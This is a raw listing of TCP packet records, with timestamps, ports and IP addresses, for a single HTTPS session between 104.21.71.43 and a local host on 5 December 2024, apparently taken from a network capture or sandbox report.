Dec 5, 2024 15:04:53.617321968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.617360115 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.622842073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.622860909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.622931957 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.622944117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.622982025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.776371956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.776393890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.776464939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.776477098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.776506901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.776520014 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.781900883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.781918049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.781977892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.781985044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.782031059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.786962032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.786978006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.787038088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.787045956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.787085056 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.792829037 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.792845964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.792913914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.792922020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.792975903 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.798479080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.798495054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.798582077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.798593998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.798630953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.804291010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.804306030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.804368019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.804373980 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.804413080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.809432983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.809448957 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.809506893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.809520006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.809555054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.814814091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.814830065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.814879894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.814887047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.814924955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.968547106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.968569994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.968683004 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.968702078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.968740940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.973601103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.973617077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.973695993 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.973706961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.973756075 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.984292030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.984311104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.984416962 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.984421968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.984467983 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.990164042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.990180016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.990245104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.990251064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.990286112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.995426893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.995444059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.995520115 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:53.995527983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:53.995562077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.000982046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.001000881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.001049042 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.001056910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.001079082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.001096010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.006845951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.006860971 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.006908894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.006915092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.006946087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.012182951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.012201071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.012239933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.012245893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.012268066 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.012284040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.169084072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.169111967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.169284105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.169315100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.169364929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.174679995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.174698114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.174770117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.174778938 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.174824953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.180522919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.180538893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.180625916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.180635929 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.180676937 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.185796976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.185812950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.185947895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.185956001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.186002016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.191409111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.191425085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.191498995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.191507101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.191551924 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.197134018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.197149038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.197238922 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.197248936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.197289944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.202588081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.202605963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.202752113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.202763081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.202816010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.203502893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.203574896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.357649088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.357676983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.357856035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.357880116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.357923985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.362606049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.362632990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.362709045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.362715960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.362776995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.367737055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.367762089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.367877007 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.367882967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.367948055 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.373477936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.373501062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.373579025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.373584986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.373613119 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.373634100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.379338980 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.379359961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.379439116 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.379445076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.379504919 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.385114908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.385133982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.385210991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.385216951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.385257006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.390151024 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.390170097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.390270948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.390275955 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.390321016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.395854950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.395874977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.395941973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.395948887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.395961046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.395986080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.549443007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.549467087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.549743891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.549753904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.549801111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.554527044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.554543972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.554636955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.554645061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.554686069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.560228109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.560247898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.560312033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.560324907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.560370922 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.566061020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.566078901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.566128016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.566135883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.566148996 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.566171885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.571163893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.571181059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.571255922 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.571264029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.571297884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.577003002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.577018976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.577053070 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.577059984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.577088118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.577105999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.582678080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.582706928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.582736969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.582743883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.582770109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.582786083 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.588083982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.588104010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.588136911 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.588141918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.588160038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.588182926 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.741594076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.741633892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.741677046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.741691113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.741736889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.741758108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.746804953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.746823072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.746884108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.746890068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.746926069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.752593994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.752612114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.752700090 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.752707005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.752751112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.757813931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.757857084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.757890940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.757899046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.757936001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.757952929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.763510942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.763533115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.763577938 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.763585091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.763611078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.763622999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.769193888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.769212008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.769279957 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.769288063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.769335032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.774336100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.774357080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.774401903 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.774406910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.774436951 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.774451017 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.781157970 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.781176090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.781238079 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.781244993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.781286001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.933733940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.933757067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.933876038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.933890104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.933939934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.939017057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.939038992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.939102888 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.939116001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.939158916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.944777012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.944792986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.944853067 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.944860935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.944900990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.949894905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.949911118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.949964046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.949971914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.950012922 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.956451893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.956466913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.956521988 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.956533909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.956572056 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.961364031 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.961383104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.961441994 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.961450100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.961489916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.966423988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.966440916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.966497898 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.966506004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.966547966 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.972815990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.972832918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.972896099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.972903967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.972944021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:54.974733114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:54.974796057 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.130680084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.130705118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.130799055 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.130817890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.130863905 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.136431932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.136450052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.136503935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.136512041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.136550903 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.141493082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.141513109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.141582012 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.141591072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.141621113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.141643047 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.147408962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.147428036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.147485971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.147494078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.147541046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.153017998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.153038025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.153099060 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.153105974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.153141975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.158185005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.158201933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.158252954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.158258915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.158288956 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.158313036 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.164299011 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.164319992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.164381027 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.164387941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.164436102 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.169326067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.169351101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:55.169390917 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:55.169399023 CET	443	49906	104.21.71.43	192.168.2.6
